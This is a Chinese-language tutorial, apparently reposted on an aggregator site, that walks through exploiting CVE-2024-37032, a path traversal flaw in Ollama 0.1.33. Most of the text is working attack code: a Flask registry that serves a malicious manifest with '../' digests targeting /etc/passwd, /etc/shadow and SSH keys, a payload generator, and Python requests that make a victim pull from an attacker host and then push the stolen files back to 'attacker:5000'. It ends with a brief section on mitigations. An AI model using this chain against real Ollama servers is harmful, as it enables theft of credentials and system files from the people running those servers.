当前位置: 首页 > news >正文

Ollama 0.1.33高危漏洞复现:手把手教你搭建恶意注册表,验证CVE-2024-37032路径遍历风险

Ollama 0.1.33路径遍历漏洞实战:从恶意注册表搭建到数据回传全流程解析

在开源工具安全研究领域,路径遍历漏洞始终是攻击者最青睐的突破口之一。当Ollama 0.1.33版本爆出CVE-2024-37032漏洞时,安全社区立即意识到这是一个教科书级的案例——它不仅展示了输入验证缺失的严重后果,更揭示了现代AI工具链中潜藏的基础设施风险。本文将带你走进攻击者的实验室,通过搭建完整的PoC环境,亲身体验从漏洞触发到数据窃取的全过程。

1. 漏洞环境准备与工具链配置

1.1 靶机环境搭建

首先需要准备存在漏洞的Ollama实例。推荐使用Docker快速部署0.1.33版本:

docker run -d --rm -p 11434:11434 --name ollama-vuln ollama/ollama:0.1.33

验证服务是否正常运行:

curl http://localhost:11434/api/tags

正常应返回空列表{"models":[]}。为模拟真实攻击场景,建议关闭TLS验证:

docker exec ollama-vuln ollama serve --insecure

1.2 攻击工具集准备

攻击者需要以下组件:

  • 恶意注册表服务器:模拟模型仓库响应恶意清单
  • 请求构造工具:发送精心设计的API请求
  • 数据接收端:捕获回传的敏感文件

推荐使用Python构建轻量级攻击工具链:

# 基础依赖安装 pip install flask requests python-magic

2. 恶意注册表服务器构建实战

2.1 注册表核心逻辑实现

恶意注册表需要实现Docker Registry V2 API的关键端点。以下是使用Flask构建的简化版本:

from flask import Flask, jsonify, send_file app = Flask(__name__) @app.route('/v2/<repo>/manifests/<tag>') def malicious_manifest(repo, tag): payload = { "schemaVersion": 2, "mediaType": "application/vnd.docker.distribution.manifest.v2+json", "config": { "mediaType": "application/vnd.docker.container.image.v1+json", "digest": "../../../../../../../../etc/passwd", # 路径遍历Payload "size": 1024 }, "layers": [] } return jsonify(payload) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)

关键参数说明:

  • digest字段注入../序列实现路径遍历
  • mediaType需匹配Ollama支持的格式
  • size值仅需满足基本校验

2.2 高级Payload构造技巧

实际攻击中,Payload需要根据目标环境调整:

# 动态生成跨平台Payload import os def generate_payload(target_file): base_depth = 10 # 基础遍历深度 if os.name == 'nt': return f"..\\..\\..\\..\\{target_file}" else: return "/".join([".."]*base_depth + [target_file])

常见敏感目标文件:

  • Unix系统:/etc/passwd,/etc/shadow,~/.ssh/id_rsa
  • Windows系统:C:\\Windows\\win.ini,C:\\Windows\\System32\\drivers\\etc\\hosts

3. 漏洞触发与攻击链完成

3.1 分阶段攻击流程

完整的攻击链包含三个阶段:

  1. 诱导拉取:使目标Ollama实例请求恶意清单
  2. 触发读取:利用路径遍历读取目标文件
  3. 数据回传:通过push操作窃取文件内容
阶段一:诱导拉取
import requests target = "http://victim:11434" malicious_registry = "http://attacker:5000" pull_payload = { "name": f"{malicious_registry}/evil/model:latest", "insecure": True } r = requests.post(f"{target}/api/pull", json=pull_payload) print(r.status_code) # 成功应返回200
阶段二:触发文件读取

此阶段由Ollama自动完成,当解析恶意清单时,会尝试访问digest指定的路径。

阶段三:数据回传
push_payload = { "name": f"{malicious_registry}/exfil/data", "insecure": True } r = requests.post(f"{target}/api/push", json=push_payload) print(r.text) # 查看回传数据

3.2 攻击流量分析

正常注册表交互与攻击流量的关键区别:

特征正常流量攻击流量
digest格式SHA256哈希(64字符)包含路径遍历字符
注册表地址知名域名(ollama.ai等)攻击者控制的IP/域名
TLS使用强制HTTPS常伴随insecure:true参数

4. 漏洞深度分析与绕过技巧

4.1 底层机制解析

漏洞根源在于Ollama的文件路径处理逻辑:

// 漏洞代码简化示意 func GetBlobsPath(digest string) string { base := "/var/ollama/blobs" return filepath.Join(base, "sha256", digest) }

filepath.Join()会规范化路径但不会阻止合法的..跳转。当digest../../etc/passwd时,最终路径将指向系统敏感文件。

4.2 高级利用技巧

多阶段Payload注入

  • 初始Payload探测基础目录深度
  • 二次攻击精确定位目标文件
  • 通过错误信息推断文件系统结构

混合攻击向量

{ "config": { "digest": "../../../etc/passwd" }, "layers": [ { "digest": "../../../var/lib/ollama/config.json", "mediaType": "application/vnd.ollama.image.model" } ] }

5. 防御视角的启示

虽然本文聚焦攻击复现,但防御措施同样重要:

临时缓解方案

# 网络层隔离 iptables -A INPUT -p tcp --dport 11434 -j DROP # 文件系统保护 chmod -R o-w /var/lib/ollama

长期防护策略

  • 实施严格的输入验证正则:
    ^[a-f0-9]{64}$
  • 启用内容地址存储(CAS)机制
  • 部署运行时文件访问监控

漏洞研究的意义在于提前发现风险。通过亲手复现CVE-2024-37032,我们不仅理解了路径遍历漏洞的威力,更体会到安全编码和深度防御的重要性。在实验室环境中,每次成功的攻击复现都是对未来安全威胁的一次有效疫苗。

http://www.jsqmd.com/news/623655/

相关文章:

  • 如何轻松解除极域电子教室控制:3步实现学习自由的高效方法
  • 基于Multisim的四位密码锁电路设计与仿真优化(含完整项目资源)
  • 护网实战:Shiro反序列化漏洞的攻防全景解析
  • 终极指南:如何彻底卸载Windows 10中的OneDrive并释放宝贵系统空间 [特殊字符]
  • 如何用这个开源工具让英雄联盟游戏体验提升3倍?
  • 微信聊天记录永久保存的3种实用方法:告别数据丢失的烦恼
  • OpenGL图案填充黑科技:用glPolygonStipple制作游戏像素风贴图
  • AlphaForge实战:如何用动态因子组合提升量化投资策略收益(附Python代码)
  • DeepSeek-R1-Distill-Qwen-1.5B效果展示:2048 tokens长思维链推理完整过程
  • SNN vs CNN vs SVM vs 随机森林:在MNIST数据集上,除了准确率我们还应该比什么?
  • 【AI原生研发必修课】:3大分布式事务一致性模型在LLM微服务架构中的落地实测数据(2024金融级压测报告)
  • 告别BOPF!在SAP BTP上用RAP和CDS View快速构建Fiori应用(附Eclipse配置避坑)
  • MATLAB代码:基于模型预测算法的含储能微网双层能量管理模型 关键词:储能优化 模型预测控制...
  • 若依框架密码安全实战:手把手教你配置90天强制改密策略(附前后端完整代码)
  • itc智慧法院方案建设,为公平正义“提速” - 资讯焦点
  • Linux系统安装Photoshop CC 2022终极指南:零基础快速上手专业图像编辑
  • Bilibili-Evolved离线脚本深度解析:如何实现无网络环境下的哔哩哔哩增强体验
  • CompressO终极指南:免费开源视频图片压缩神器
  • 3步解锁Silk音频密码:从技术壁垒到跨平台播放的完整指南
  • Ostrakon-VL在Qt桌面应用中的集成:开发跨平台视觉工具
  • 手把手教你Spring Cloud Alibaba(一) 集成 Nacos 、Dubbo构建项目
  • 【实战指南】Ubuntu密码遗忘与重置全流程解析
  • 反应釜大型厂家推荐,江苏地区好用又性价比高的有哪些 - 工业品网
  • Mac QuickLook插件集:3倍效率提升的文件预览解决方案
  • 终极批量文本处理指南:FNR工具如何让查找替换变得如此简单
  • numpy自带的openblas库和openblas64库的差异
  • 从输入URL到页面显示:这中间到底发生了什么?一场“互联网快递”的奇幻漂流
  • 为什么现代PHP项目需要统一的支付解决方案:专业级支付SDK深度解析
  • 单细胞注释进阶指南-利用AddModuleScore精准定位细胞亚群
  • 基于深度学习的YOLOv11的车辆测速和测距与轨迹预测项目 车辆测距识别 车速识别 车辆轨迹预测